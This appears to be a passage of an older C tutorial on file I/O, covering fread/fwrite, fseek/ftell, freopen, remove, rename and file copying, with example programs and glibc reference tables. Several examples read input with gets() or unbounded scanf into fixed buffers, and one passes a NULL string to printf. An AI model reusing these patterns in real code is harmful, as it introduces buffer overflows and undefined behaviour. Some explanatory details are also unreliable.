- size_t is an integral type defined in the header file stdio.h. The fread() function returns
the number of elements actually read.
- The number of elements read by the fread() function should be equal to the value specified by
the third argument to the function, unless an error occurs or an EOF is encountered.
- The fread() function returns the number of elements that are actually read, if an error occurs or
an EOF is encountered.
- The prototype for the fwrite() function is:
size_t fwrite(const void *ptr, size_t size,
size_t n, FILE *stream);

- ptr references the array that contains the data to be written to an opened file pointed to by the file
pointer stream. size indicates the size of each element in the array. n specifies the number of
elements to be written.
- The fwrite() function returns the number of elements actually written.
- If there is no error occurring, the number returned by fwrite() should be the same as the third
argument in the function. The return value may be less than the specified value if an error occurs.
- That is the programmer’s responsibility to ensure that the array is large enough to hold data for
either the fread() function or the fwrite() function.
- In C, a function called feof() can be used to determine when the end of a file is encountered.
This function is more useful when you are reading a binary file because the values of some bytes
may be equal to the value EOF.
- If you determine the end of a binary file by checking the value returned by fread(), you may end
up at the wrong position.
- Using the feof() function helps you to avoid mistakes in determining the end of a file. The
prototype for the feof() function is:

int feof(FILE *stream);

- Here, stream is the file pointer that is associated with an opened file. The feof() function
returns 0 if the end of the file has not been reached, otherwise, it returns a nonzero integer.
- Let take a look at the program example. Create two files named it testfive.txt and
testsix.txt in C:\Temp folder or other folder that you choose provided that you provide the
full path strings in the program. Write the following texts into testsix.txt file and save it.

OPENING, READING AND WRITING ONE BLOCK OF DATA


-----------------------------------------------
This is file testsix.txt. Its content will be
read and then output to the screen/console and
copied to testfive.txt file. The reading and
writing based on block of data. May be this
method is faster compared to read/write by
character, by line.....
-----------------------------------------------
------------------END--------------------------

Content of testsix.txt file

1. //Reading and writing one block at a time


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. //declare enum data type, you will this
6. //learn in other module...
7. enum {SUCCESS, FAIL, MAX_LEN = 80};
8.
9. //function prototype for block reading and writing
10. void BlockReadWrite(FILE *fin, FILE *fout);
11. //function prototype for error messages...
12. int ErrorMsg(char *str);
13.
14. int main(void)
15. {
16. FILE *fptr1, *fptr2;
17. //define the filenames...
18. //the files location is at c:\Temp
19. char filename1[] = "c:\\Temp\\testfive.txt";
20. char filename2[] = "c:\\Temp\\testsix.txt";
21. int reval = SUCCESS;

www.tenouk.com Page 15 of 34
22.
23. //test opening testfive.txt file for writing, if fail...
24. if((fptr1 = fopen(filename1, "w")) == NULL)
25. {
26. reval = ErrorMsg(filename1);
27. }
28.
29. //test opening testsix.txt file for reading, if fail...
30. else if ((fptr2 = fopen(filename2, "r")) == NULL)
31. {
32. reval = ErrorMsg(filename2);
33. }
34. //if opening files for writing and reading is successful, do...
35. else
36. {
37. //call function for reading and writing
38. BlockReadWrite(fptr2, fptr1);
39. //close both files streams...
40. if(fclose(fptr1)==0)
41. printf("%s successfully closed\n", filename1);
42. if(fclose(fptr2)==0)
43. printf("%s successfully closed\n", filename2);
44. }
45. printf("\n");
46. //for Borland...
47. system("pause");
48. return reval;
49. }
50.
51. //function definition for block read, write
52. void BlockReadWrite(FILE *fin, FILE *fout)
53. {
54. int num;
55. char buff[MAX_LEN + 1];
56. //while not end of file for input file, do...
57. while(!feof(fin))
58. {
59. //reading...
60. num = fread(buff, sizeof(char), MAX_LEN, fin);
61. //append a null character
62. buff[num * sizeof(char)] = '\0';
63. printf("%s", buff);
64. //writing...
65. fwrite(buff, sizeof(char), num, fout);
66. }
67. }
68.
69. //function definition for error message
70. int ErrorMsg(char *str)
71. {
72. //display the error message...
73. printf("Problem, cannot open %s.\n", str);
74. return FAIL;
75. }

75 lines: Output:

- Note the use of fread() and fwrite() functions in the program. This program shows you how
to invoke the fread() and fwrite() to perform block I/O operations.

www.tenouk.com Page 16 of 34
- The testsix.txt file is read by the fread() function, and the fwrite() function used to
write the contents read from testsix.txt to another file called testfive.txt.

9.7 Random Access To Disk Files

- Before this you have learned how to read or write data sequentially. In many cases, however, you
may need to access particular data somewhere in the middle of a disk file.
- Random access is another way to read and write data to disk file. Specific file elements can be
accessed in random order.
- There are two C I/O functions, fseek() and ftell(), that are designed to deal with random
access.
- You can use the fseek() function to move the file position indicator to the spot you want to
access in a file. The prototype for the fseek() function is:

int fseek(FILE *stream, long offset, int whence);

- stream is the file pointer with an opened file. offset indicates the number of bytes from a
fixed position, specified by whence, that can have one of the following integral values represented
by SEEK_SET, SEEK_CUR and SEEK_END.
- If it is successful, the fseek() function return 0, otherwise the function returns a nonzero value.
- whence provides the offset bytes from the file location. whence must be one of the values 0, 1,
or 2 which represent three symbolic constants (defined in stdio.h) as follows:

Constants whence File location


SEEK_SET 0 File beginning
SEEK_CUR 1 Current file pointer position
SEEK_END 2 End of file

Table 9.10: offset bytes

- If SEEK_SET is chosen as the third argument to the fseek() function, the offset is counted from
the beginning of the file and the value of the offset is greater than or equal to zero.
- If however, SEEK_END is picked up, then the offset starts from the end of the file, the value of the
offset should be negative.
- When SEEK_CUR is passed to the fseek() function, the offset is calculated from the current
value of the file position indicator.
- You can obtain the value of the current position indicator by calling the ftell() function. The
prototype for the ftell() function is,

long ftell(FILE *stream);

- stream is the file pointer associated with an opened file. The ftell() function returns the
current value of the file position indicator.
- The value returned by the ftell() function represents the number of bytes from the beginning of
the file to the current position pointed to by the file position indictor.
- If the ftell() function fails, it returns –1L (that is, a long value of minus 1). Let explore the
program example. Create and make sure text file named tesseven.txt is located in the
C:\Temp folder before you can execute the program. The contents of the tesseven.txt is,

THIS IS THE FIRST LINE OF TEXT, tesseven.txt file


THIS IS THE SECOND LINE OF TEXT, tesseven.txt file
THIS IS THE THIRD LINE OF TEXT, tesseven.txt file
THIS IS THE FOURTH LINE OF TEXT, tesseven.txt file

The content of tesseven.txt file

1. //Random access to a file


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. enum {SUCCESS, FAIL, MAX_LEN = 120};
6.
7. //function prototypes, seek the file position indicator
8. void PtrSeek(FILE *fptr);

www.tenouk.com Page 17 of 34
9. //function prototype, tell the file position indicator…
10. long PtrTell(FILE *fptr);
11. //function prototype read and writes…
12. void DataRead(FILE *fptr);
13. int ErrorMsg(char *str);
14.
15. int main(void)
16. {
17. FILE *fptr;
18. char filename[] = "c:\\Temp\\tesseven.txt";
19. int reval = SUCCESS;
20.
21. //if there is some error opening file for reading…
22. if((fptr = fopen(filename, "r")) == NULL)
23. {
24. reval = ErrorMsg(filename);
25. }
26. //if opening is successful…
27. else
28. {
29. //PtrSeek() function call…
30. PtrSeek(fptr);
31. //close the file stream…
32. if(fclose(fptr)==0)
33. printf("%s successfully closed.\n", filename);
34. }
35. //for Borland...
36. system("pause");
37. return reval;
38. }
39.
40. //PtrSeek() function definition
41. void PtrSeek(FILE *fptr)
42. {
43. long offset1, offset2, offset3, offset4;
44.
45. offset1 = PtrTell(fptr);
46. DataRead(fptr);
47. offset2 = PtrTell(fptr);
48. DataRead(fptr);
49. offset3 = PtrTell(fptr);
50. DataRead(fptr);
51. offset4 = PtrTell(fptr);
52. DataRead(fptr);
53.
54. printf("\nReread the tesseven.txt, in random order:\n");
55. //reread the 2nd line of the tesseven.txt
56. fseek(fptr, offset2, SEEK_SET);
57. DataRead(fptr);
58. //reread the 1st line of the tesseven.txt
59. fseek(fptr, offset1, SEEK_SET);
60. DataRead(fptr);
61. //reread the 4th line of the tesseven.txt
62. fseek(fptr, offset4, SEEK_SET);
63. DataRead(fptr);
64. //reread the 3rd line of the tesseven.txt
65. fseek(fptr, offset3, SEEK_SET);
66. DataRead(fptr);
67. }
68.
69. //PtrTell() function definition
70. long PtrTell(FILE *fptr)
71. {
72. long reval;
73. //tell the fptr position…
74. reval = ftell(fptr);
75. printf("The fptr is at %ld\n", reval);
76. return reval;
77. }
78.
79. //DataRead() function definition
80. void DataRead(FILE *fptr)
81. {
82. char buff[MAX_LEN];
83. //reading line of text at the fptr position…
84. fgets(buff, MAX_LEN, fptr);
85. //and display the text…
86. printf("-->%s\n", buff);
87. }
88.

www.tenouk.com Page 18 of 34
89. //Error message function definition
90. int ErrorMsg(char *str)
91. {
92. //display this error message…
93. printf("Problem, cannot open %s.\n", str);
94. return FAIL;
95. }

95 lines: Output:

- We try to open the tesseven.txt file for reading by calling the fopen() function. If
successful, we invoke the PtrSeek() function with the fptr file pointer as the argument in line
30.
PtrSeek(fptr);

- The definition of our first function PtrSeek() is shown in lines 41-67. The statement in line 45
obtains the original value of the fptr file pointer by calling another function, PtrTell(), which
is defined in lines 70–77.
- The PtrTell() function can find and print out the value of the file position indicator with the
help of the ftell() function.
- The third function, DataRead() is called to read one line of characters from the opened file and
print out the line of characters on the screen. Line 47 gets the new value of the fptr file position
indicator right after the reading and assigns the value to another long variable, offset2.
- Then the DataRead() function in line 48 reads the second line of characters from the opened
file. Line 49 obtains the value of the file position indicator that points to the first byte of the third
line and assigns the value to the third long variable offset3 and so on for the fourth line of text.
- Line 50 calls the DataRead() function to read the third line and print it out on the screen.
- From the first portion of the output, you can see the four different values of the file position
indicator at four different positions, and the four lines of texts. The four values of the file position
indicator are saved by offset1, offset2, offset3 and offset4 respectively.
- Then, we read the lines of text randomly, one line at a time. Firstly read the second line, then the
first line, fourth and finally the third one.
- C function, called rewind(), can be used to rewind the file position indicator. The prototype for
the rewind() function is:

void rewind(FILE *stream);

- Here, stream is the file pointer associated with an opened file. No value is returned by
rewind() function. In fact the following statement of rewind() function:

www.tenouk.com Page 19 of 34
rewind(fptr);

- Is equivalent to this:

(void) fseek(fptr, 0L, SEEK_SET);

- The void data type is cast to the fseek() function because the rewind() function does not
return a value. Study the following program example.
- This program also contains example of reading and writing binary data. We create and open the
teseight.bin file for writing.

1. //Reading, writing, rewind and binary data


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. enum {SUCCESS, FAIL, MAX_NUM = 5};
6.
7. //functions prototype...
8. void DataWrite(FILE *fout);
9. void DataRead(FILE *fin);
10. int ErrorMsg(char *str);
11.
12. int main(void)
13. {
14. FILE *fptr;
15. //binary type files...
16. char filename[] = "c:\\Temp\\teseight.bin";
17. int reval = SUCCESS;
18.
19. //test for creating, opening binary file for writing...
20. if((fptr = fopen(filename, "wb+")) == NULL)
21. {
22. reval = ErrorMsg(filename);
23. }
24. else
25. {
26. //Write data into file teseight.bin
27. DataWrite(fptr);
28. //reset the file position indicator...
29. rewind(fptr);
30. //read data...
31. DataRead(fptr);
32. //close the file stream...
33. if(fclose(fptr)==0)
34. printf("%s successfully closed\n", filename);
35. }
36. //for Borland
37. system("pause");
38. return reval;
39. }
40.
41. //DataWrite() function definition
42. void DataWrite(FILE *fout)
43. {
44. int i;
45. double buff[MAX_NUM] = { 145.23, 589.69, 122.12, 253.21, 987.234};
46.
47. printf("The size of buff: %d-byte\n", sizeof(buff));
48. for(i=0; i<MAX_NUM; i++)
49. {
50. printf("%5.2f\n", buff[i]);
51. fwrite(&buff[i], sizeof(double), 1, fout);
52. }
53. }
54.
55. //DataRead() function definition
56. void DataRead(FILE *fin)
57. {
58. int i;
59. double x;
60.
61. printf("\nReread from the binary file:\n");
62. for(i=0; i<MAX_NUM; i++)
63. {
64. fread(&x, sizeof(double), (size_t)1, fin);
65. printf("%5.2f\n", x);
66. }

www.tenouk.com Page 20 of 34
67. }
68.
69. //ErrorMsg() function definition
70. int ErrorMsg(char *str)
71. {
72. printf("Cannot open %s.\n", str);
73. return FAIL;
74. }

74 lines
Output:

- This program writes five values of the double data type into a binary file named
teseight.bin and then rewind the file position indicator and re read the five double values
from the binary file.
- The two functions, DataWrite() and DataRead(), that perform the writing and reading,
declared in lines 8 and 9. The enum names, SUCCESS, FAIL, and MAX_NUM, are defined in line 5
with values 0, 1, and 5 respectively.
- The statement in line 20, tries to create and open a binary file called teseight.bin for both
reading and writing.
- If the fopen() function is successful, the DataWrite() function is called in line 27 to write
four double data items, into the opened binary file, according to the definition of the
DataWrite() function.
- The fwrite() function in line 51 does the writing. Right after the execution of the
DataWrite() function, the file position indicator is reset to the beginning of the binary file by
calling the rewind() function in line 29 because we want to re read all five double data items
written to the file.
- The fread() function is used to perform the reading operation. The output from running the
program shows the five double data items before the writing and after the reading as well.
- As you learned, two C library functions scanf() and printf() can be used to read or write
formatted data through the standard I/O (that is, stdin and stdout). For C disk file I/O
functions, there are two equivalent functions; fscanf() and fprintf() functions allow the
programmer to specify I/O streams.
- The prototype for the fscan() function is:

int fscanf(FILE *stream, const char *format,…);

- stream is the file pointer associated with an opened file. format, which usage is the same as in
the scanf() function, is a char pointer pointing to a string that contains the format specifiers. If
successful, the fscan() function returns the number of data items read. Otherwise, the function
returns EOF.
- The prototype for the fprintf() function is:

int fprintf(FILE *stream, const char *format, …);

www.tenouk.com Page 21 of 34
- Here, stream is the file pointer associated with an opened file. format, whose usage is the same
as in the printf() function, is a char pointer pointing to a string that contains the format
specifiers.
- If successful, the fprintf() function returns the number of formatted expressions. Otherwise,
the function returns a negative value.
- Let try a program example. Firstly create testcal.txt file with the following data and save it.

23 12 33 10 4 6 44 31 7 50

- Then create another text file named testavg.txt for writing the average value computed from
data read from testcal.txt file. Then compile and run the following program.

/*C Program to calculate the average of a list of numbers.*/


/*calculate the total from one file, output the average*/
/*into another file*/
#include <stdio.h>
/*for exit()*/
#include <stdlib.h>

int main(void)
{
int value, total = 0, count = 0;

/*fileptrIn and fileptrOut are variables of type (FILE *)*/


FILE * fileptrIn, * fileptrOut;
char filenameIn[100], filenameOut[100];

printf("Please enter an input filename (use path if needed):\n");


scanf("%s", filenameIn);
printf("Please enter an output filename (use path if needed):\n");
scanf("%s", filenameOut);

/*open files for reading, "r" and writing, "w"*/


if((fileptrIn = fopen(filenameIn, "r")) == NULL)
{
printf("Error opening %s for reading.\n", filenameIn);
exit (1);
}
else
printf("Opening %s for reading is OK.\n", filenameIn);

if((fileptrOut = fopen(filenameOut, "w")) == NULL)


{
printf("Error opening %s for writing.\n", filenameOut);
exit (1);
}
else
printf("Opening %s for writing is OK.\n", filenameOut);

/*fscanf*/
printf("\nCalculate the total...\n");
while(EOF != fscanf(fileptrIn, "%i", &value))
{
total += value;
++count;
}/*end of while loop*/

/*Write the average value to the file.*/


/*fprintf*/
printf("Calculate the average...\n\n");
fprintf(fileptrOut, "Average of %i numbers = %f \n", count, total/(double)count);
printf("Average of %i numbers = %f \n\n", count, total/(double)count);
printf("Check also your %s file content\n", filenameOut);

if(fclose(fileptrIn) == 0)
printf("%s closed successfully\n", filenameIn);
if(fclose(fileptrOut) == 0)
printf("%s closed successfully\n", filenameOut);
return 0;
}

Output:

www.tenouk.com Page 22 of 34
9.8 Redirecting The Standard Streams With freopen()

- We will discuss how to redirect the standard streams, such as stdin and stdout, to disk files.
We can use freopen() function, which can associate a standard stream with a disk file.
- The prototype for the freopen() function is:

FILE *freopen(const char *filename, const char *mode, FILE *stream);

- filename is a char pointer referencing the name of a file that you want to associate with the
standard stream represented by stream.
- mode is another char pointer pointing to a string that defines the way to open a file. The values
that mode can have in freopen() are the same as the mode values in the fopen() function.
- The freopen() function returns a null pointer if an error occurs. Otherwise, the function returns
the standard stream that has been associated with a disk file identified by filename.
- Let try a program example.

1. //Redirecting a standard stream


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. enum {SUCCESS, FAIL, STR_NUM = 6};
6.
7. void StrPrint(char **str);
8. int ErrorMsg(char *str);
9.
10. int main(void)
11. {
12. //declare and define a pointer to string...
13. char *str[STR_NUM] = {
14. "Redirecting a standard stream to the text file.",
15. "These 5 lines of text will be redirected",
16. "so many things you can do if you understand the",
17. "concept, fundamental idea - try this one!",
18. "--------------DONE--------------------------"};
19.
20. char filename[] = "c:\\Temp\\testnine.txt";
21. int reval = SUCCESS;
22.
23. StrPrint(str);
24. //create file if not exist and open for writing...
25. //if exist, discard the previous content...
26. if(freopen(filename, "w", stdout) == NULL)
27. {
28. reval = ErrorMsg(filename);
29. }
30. else
31. {
32. //call StrPrint() function...
33. StrPrint(str);
34. //close the standard output...
35. fclose(stdout);
36. }
37. return reval;
38. }

www.tenouk.com Page 23 of 34
39.
40. //StrPrint() function definition
41. void StrPrint(char **str)
42. {
43. int i;
44. for(i=0; i<STR_NUM; i++)
45. //to standard output-screen/console...
46. printf("%s\n", str[i]);
47. system("pause");
48. }
49.
50. //ErrorMsg() function definition
51. int ErrorMsg(char *str)
52. {
53. printf("Problem, cannot open %s.\n", str);
54. return FAIL;
55. }

55 lines: Output:

- Notice that the last line in the output is NULL, why? Because NULL is appended at the end of the
string. We enumerate STR_NUM = 6, but there are only 5 lines of text, if you don’t want to see
the NULL, change STR_NUM = 5.
- The purpose of this program is to save a paragraph, consist of five lines of text, into a text file,
testnine.txt. We call the printf() function instead of the fprintf() function or other disk I/O
functions after we redirect the default stream, stdout, of the printf() function to point to the text
file.
- The function that actually does the writing is called StrPrint(), which invoke the C function
printf() to send out formatted character strings to the output stream.
- In main() function, we call the StrPrint() function in line 33 before we redirect stdout to the
testnine.txt file. The paragraph is printed on the screen because the printf() function
automatically sends out the paragraph to stdout that directs to the screen by default.
- Then in line 26, we redirect stdout to the testnine.txt text file by calling the freopen()
function. The "w" is used as the mode that indicates to open the text file for writing.
- If freopen() is successful, we then call the StrPrint() function in line 33. However, this
time, the StrPrint() function writes the paragraph into the opened text file, testnine.txt.
The reason is that stdout is now associated with the text file, not the screen.
- There is a set of low-level I/O functions, such as open(), create(), close(), read(),
write(), lseek() and tell() that you may still see them in some platform-dependent C
programs.

9.9 File Management Functions

- It refers to dealing with existing files, not reading or writing to them, but renaming, deleting and
copying them. Normally the file management functions are provided in the standard library
function. Again, do not reinvent the wheels :o).

9.9.1 Deleting A File

- We use function remove() to delete a file. Its prototype is in stdio.h file and the prototype is
as follows:

int remove(const char *filename);

www.tenouk.com Page 24 of 34
- The variable filename is a pointer to the name of the file to be deleted. The specified file must
not be opened. If the file exists, it is deleted (just as if the del in DOS and rm command in
UNIX), and remove() return 0.
- If the file doesn’t exist, if it’s read only, if you don’t have sufficient access rights or permission, or
if some other error occurs, remove() return –1. Be careful if you remove a file, it is gone
forever.
- Let try a program example.

1. //Demonstrate the remove() function


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. void main()
6. {
7. //declare an array to store file name...
8. char filename[80];
9.
10. printf("Enter the filename to be deleted: ");
11. gets(filename);
12.
13. //check any error...
14. if(remove(filename) == 0)
15. printf("File %s has been deleted.\n", filename);
16. else
17. fprintf(stderr, "Error deleting file %s.\n", filename);
18. system("pause");
19. }

19 lines: Output:

- This program prompts the user on line 10 for the file name to be deleted. Line 14 then calls
remove() to delete the entered file. If the return value is 0, the file was removed, and a message
is displayed stating this fact. If the return value is not zero, an error occurred, and the file was not
removed.

9.9.2 Renaming A File

- The rename() function changes the name of an existing disk file. The function prototype, in
stdio.h, is as follows:

int rename(const char *oldname, const char *newname);

- Both names must refer to the same disk drive; you can’t rename a file to a different disk drive
means if the old name is in drive C:\test.txt, you can’t rename it to D:\testnew.txt.
- The function rename() returns 0 on success, or –1 if an error occurs. Errors can be caused by the
following conditions (among others):

0. The file oldname does not exist.


0. A file with the name newname already exists.
0. You try to rename to another disk.

- Let take a look at a program example.

1. //Using rename() to change a filename


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. void main()
6. {
7. char oldname[80], newname[80];
8.

www.tenouk.com Page 25 of 34
9. printf("Enter current filename: ");
10. gets(oldname);
11. printf("Enter new name for file: ");
12. gets(newname);
13.
14. if(rename(oldname, newname) == 0)
15. {
16. printf("%s has been rename %s.\n", oldname, newname);
17. }
18. else
19. {
20. fprintf(stderr, "An error has occurred renaming %s.\n", oldname);
21. }
22. system("pause");
23. }

23 lines: Output:

- This program example, with only 23 lines of code, replaces an operating system command
rename, and it’s a much friendlier function. Line 9 prompts for the name of the file to be
renamed. Line 11 prompts for the new filename.
- The if statement checks to ensure that the renaming of the file was carried out correctly. If so, line
16 prints an affirmative message, otherwise, line 20 prints a message stating that there was an error.

9.7.2 Copying A File

- Copying a file performs an exact duplicate with a different name (or with the same name but in a
different drive or directory). There are no library functions; you have to write your own.
- The steps:

0. Open the source file for reading in binary mode, using binary mode ensures that the
function can copy all sorts of content, not just texts.
0. Open the destination file for writing in binary mode.
0. Read a character from the source file. When a file is first opened, the pointer is at the start
of the file, so there is no need to position the file pointer explicitly.
0. If the function feof() indicates that you’re reached the end of the source file, you’re
done and can close both files and return to the calling program.
0. If you haven’t reached end-of-file, write the character to the destination file, and then loop
back to step 3.

- Let try a program example.

1. //Copying a file
2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. int file_copy(char *oldname, char *newname);
6.
7. void main()
8. {
9. char source[80], destination[80];
10.
11. //get the source and destination names
12. printf("\nEnter source file: ");
13. gets(source);
14. printf("\nEnter destination file: ");
15. gets(destination);
16.
17. if(file_copy(source, destination) == 0)
18. puts("Copy operation successful");
19. else
20. fprintf(stderr, "Error during copy operation");

www.tenouk.com Page 26 of 34
21. system("pause");
22. }
23.
24. int file_copy(char *oldname, char *newname)
25. {
26. FILE *fold, *fnew;
27. int c;
28.
29. //Open the source file for reading in binary mode
30. if((fold = fopen(oldname, "rb")) == NULL)
31. return -1;
32. //Open the destination file for writing in binary mode
33. if((fnew = fopen(newname, "wb" )) == NULL)
34. {
35. fclose(fold);
36. return -1;
37. }
38.
39. //Read one byte at a time from the source, if end of file
40. //has not been reached, write the byte to the destination
41. while(1)
42. {
43. c = fgetc(fold);
44.
45. if(!feof(fold))
46. fputc(c, fnew);
47. else
48. break;
49. }
50. fclose(fnew);
51. fclose(fold);
52. return 0;
53. }

53 lines: Output:

- The file_copy() function let you copy anything from a small text file to a huge program file.
But for this program, if the destination file already exists, the function overwrites it without asking.
- Lines 24 through 37 create a copy function. Line 30 open the source file, pointed by fold pointer,
in binary read mode.
- Line 33 open the destination file, pointed by fnew pointer, in binary write mode. Line 35 closes
the source file if there is an error opening the destination file. The while loop does the actual
copying of the file. Line 43 gets a character from the source file, pointed by fold pointer assign to
the variable c.
- Line 45 tests to see whether the end-of-line marker was read. If the end of the file has been
reached, a break statement is executed in order to get out of the while loop in line 48.
- If the end of the file has not been reached, the character is written to the destination file, pointed by
fnew pointer in line 46.
- For C++ file I/O it is discussed in Module 19.
- The following is a previous C program example, read and write files under the current working
directory using gcc. Create 2 files named testhree.txt and testfour.txt under the
current working directory and save some texts in the testfour.txt.

/***************readline.c************
/*Reading and writing one line at a time*/
#include <stdio.h>
#include <stdlib.h>

enum {SUCCESS, FAIL, MAX_LEN = 100};

/*function prototype for read and writes by line...*/


void LineReadWrite(FILE *fin, FILE *fout);

www.tenouk.com Page 27 of 34
int main(void)
{
FILE *fptr1, *fptr2;
/*file testhree.txt is located at current directory.
you can put this file at any location provided
you provide the full path, same for testfour.txt*/

char filename1[] = "testhree.txt";


char filename2[] = "testfour.txt";
char reval = SUCCESS;

/*test opening testhree.txt file for writing, if fail...*/


if((fptr1 = fopen(filename1,"w")) == NULL)
{
printf("Problem, cannot open %s for writing.\n", filename1);
reval = FAIL;
}

/*test opening testfour.txt file for reading, if fail...*/


else if((fptr2=fopen(filename2, "r"))==NULL)
{
printf("Problem, cannot open %s for reading.\n", filename2);
reval = FAIL;
}

/*if opening fro writing and reading successful, do...*/


else
{
/*function call for read and write, line by line...*/
LineReadWrite(fptr2, fptr1);
/*close both files stream...*/
if(fclose(fptr1)==0)
printf("%s successfully closed.\n", filename1);
if(fclose(fptr2)==0)
printf("%s successfully closed.\n", filename2);
}
return reval;
}

/*function definition for line read, write.*/


void LineReadWrite(FILE *fin, FILE *fout)
{
/*local variable...*/
char buff[MAX_LEN];
while(fgets(buff, MAX_LEN, fin) !=NULL)
{
/*write to file...*/
fputs(buff, fout);
/*write to screen...*/
printf("%s", buff);
}
}

[bodo@bakawali ~]$ gcc readline.c -o readline


[bodo@bakawali ~]$ ./readline

------------------LINUX LOR!------------------------
------------FEDORA 3, gcc x.x.x--------------------
OPENING, READING, WRITING one line of characters
----------------------------------------------------
This is file testfour.txt. This file's content will
be read line by line of characters till no more line
of character found. Then, it will be output to the
screen and also will be copied to file testhree.txt.
Check the content of testhree.txt file...
----------------------------------------------------
------------------HAVE A NICE DAY-------------------

testhree.txt successfully closed.


testfour.txt successfully closed.

- Another program example for non-current directory files location. Our program under
/home/bodo/ directory but we try to create teseight.bin under /testo1/testo2/ directory.
You must have root privilege to create files in this case.

////////////rwbinary.c///////////
/////FEDORA 3, gcc x.x.x/////

www.tenouk.com Page 28 of 34
//Reading, writing, rewind and binary data
#include <stdio.h>

enum {SUCCESS, FAIL, MAX_NUM = 5};

//functions prototype...
void DataWrite(FILE *fout);
void DataRead(FILE *fin);
int ErrorMsg(char *str);

int main(void)
{
FILE *fptr;
//binary type files...
char filename[] = "/testo1/testo2/teseight.bin";
int reval = SUCCESS;

//test for creating, opening binary file for writing...


if((fptr = fopen(filename, "wb+")) == NULL)
{
reval = ErrorMsg(filename);
}
else
{
//Write data into file teseight.bin
DataWrite(fptr);
//reset the file position indicator...
rewind(fptr);
//read data...
DataRead(fptr);
//close the file stream...
if(fclose(fptr) == 0)
printf("%s successfully closed\n", filename);
}
return reval;
}

//DataWrite() function definition


void DataWrite(FILE *fout)
{
int i;
double buff[MAX_NUM] = {145.23, 589.69, 122.12, 253.21, 987.234};

printf("The size of buff: %d-byte\n", sizeof(buff));


for(i=0; i<MAX_NUM; i++)
{
printf("%5.2f\n", buff[i]);
fwrite(&buff[i], sizeof(double), 1, fout);
}
}

//DataRead() function definition


void DataRead(FILE *fin)
{
int i;
double x;

printf("\nReread from the binary file:\n");


for(i=0; i<MAX_NUM; i++)
{
fread(&x, sizeof(double), (size_t)1, fin);
printf("%5.2f\n", x);
}
}

//ErrorMsg() function definition


int ErrorMsg(char *str)
{
printf("Cannot open %s.\n", str);
return FAIL;
}

[root@bakawali bodo]# gcc rwbinary.c -o rwbinary


[root@bakawali bodo]# ./rwbinary

The size of buff: 40-byte


145.23
589.69
122.12
253.21

www.tenouk.com Page 29 of 34
987.23

Reread from the binary file:


145.23
589.69
122.12
253.21
987.23
/testo1/testo2/teseight.bin successfully closed

Further readings

- The following sections compiled from GNU glibc library documentation, provide a summary and
other collections that you may interested☺ related to file I/O. Sockets will be discussed in another
Module. It looks that the file attributes also not discussed here.

A. Simple Output by Characters or Lines

- The following Table describes functions for performing character and line-oriented output.
- These narrow streams functions are declared in the header file stdio.h and the wide stream
functions in wchar.h.

int fputc(int c, FILE *stream)


The fputc() function converts the character c to type unsigned char, and writes it to the stream stream.
EOF is returned if a write error occurs; otherwise the character c is returned.
wint_t fputwc(wchar_t wc, FILE *stream)
The fputwc() function writes the wide character wc to the stream stream. WEOF is returned if a write error
occurs; otherwise the character wc is returned.
int fputc_unlocked(int c, FILE *stream)
The fputc_unlocked() function is equivalent to the fputc function except that it does not implicitly lock
the stream.
int putc(int c, FILE *stream)
This is just like fputc(), except that most systems implement it as a macro, making it faster. One
consequence is that it may evaluate the stream argument more than once, which is an exception to the general
rule for macros. putc is usually the best function to use for writing a single character.
wint_t putwc(wchar_t wc, FILE *stream)
This is just like fputwc(), except that it can be implement as a macro, making it faster. One consequence is
that it may evaluate the stream argument more than once, which is an exception to the general rule for macros.
putwc() is usually the best function to use for writing a single wide character.
int putc_unlocked(int c, FILE *stream)
The putc_unlocked() function is equivalent to the putc function except that it does not implicitly lock the
stream.
int putchar(int c)
The putchar() function is equivalent to putc with stdout as the value of the stream argument.
wint_t putwchar(wchar_t wc)
The putwchar() function is equivalent to putwc with stdout as the value of the stream argument.
int putchar_unlocked(int c)
The putchar_unlocked() function is equivalent to the putchar function except that it does not
implicitly lock the stream.
int fputs(const char *s, FILE *stream)
The function fputs() writes the string s to the stream stream. The terminating null character is not written.
This function does not add a newline character, either. It outputs only the characters in the string.
This function returns EOF if a write error occurs, and otherwise a non-negative value.
For example:

fputs ("Are ", stdout);


fputs ("you ", stdout);
fputs ("hungry?\n", stdout);

Outputs the text Are you hungry? followed by a newline.


int fputws(const wchar_t *ws, FILE *stream)
The function fputws() writes the wide character string ws to the stream stream. The terminating null
character is not written. This function does not add a newline character, either. It outputs only the characters in
the string. This function returns WEOF if a write error occurs, and otherwise a non-negative value.
int puts(const char *s)
The puts() function writes the string s to the stream stdout followed by a newline. The terminating null

www.tenouk.com Page 30 of 34
character of the string is not written. (Note that fputs does not write a newline as this function does.)
puts is the most convenient function for printing simple messages. For example:

puts("This is a message.");

Outputs the text This is a message. followed by a newline.

Table 9.11: Output by characters or lines functions

B. Character Input

- This section describes functions for performing character-oriented input. These narrow streams
functions are declared in the header file stdio.h and the wide character functions are declared in
wchar.h.
- These functions return an int or wint_t value (for narrow and wide stream functions
respectively) that is either a character of input, or the special value EOF/WEOF (usually -1). For the
narrow stream functions it is important to store the result of these functions in a variable of type
int instead of char, even when you plan to use it only as a character.
- Storing EOF in a char variable truncates its value to the size of a character, so that it is no longer
distinguishable from the valid character (char) -1.
- So always use an int for the result of getc and friends, and check for EOF after the call; once
you've verified that the result is not EOF, you can be sure that it will fit in a char variable without
loss of information.

int fgetc(FILE *stream)


This function reads the next character as an unsigned char from the stream stream and returns its value,
converted to an int. If an end-of-file condition or read error occurs, EOF is returned instead.
wint_t fgetwc(FILE *stream)
This function reads the next wide character from the stream stream and returns its value. If an end-of-file
condition or read error occurs, WEOF is returned instead.
int fgetc_unlocked(FILE *stream)
The fgetc_unlocked() function is equivalent to the fgetc() function except that it does not implicitly
lock the stream.
int getc(FILE *stream)
This is just like fgetc(), except that it is permissible (and typical) for it to be implemented as a macro that
evaluates the stream argument more than once. getc is often highly optimized, so it is usually the best function
to use to read a single character.
wint_t getwc(FILE *stream)
This is just like fgetwc(), except that it is permissible for it to be implemented as a macro that evaluates the
stream argument more than once. getwc() can be highly optimized, so it is usually the best function to use to
read a single wide character.
int getc_unlocked(FILE *stream)
The getc_unlocked() function is equivalent to the getc function except that it does not implicitly lock the
stream.
int getchar(void)
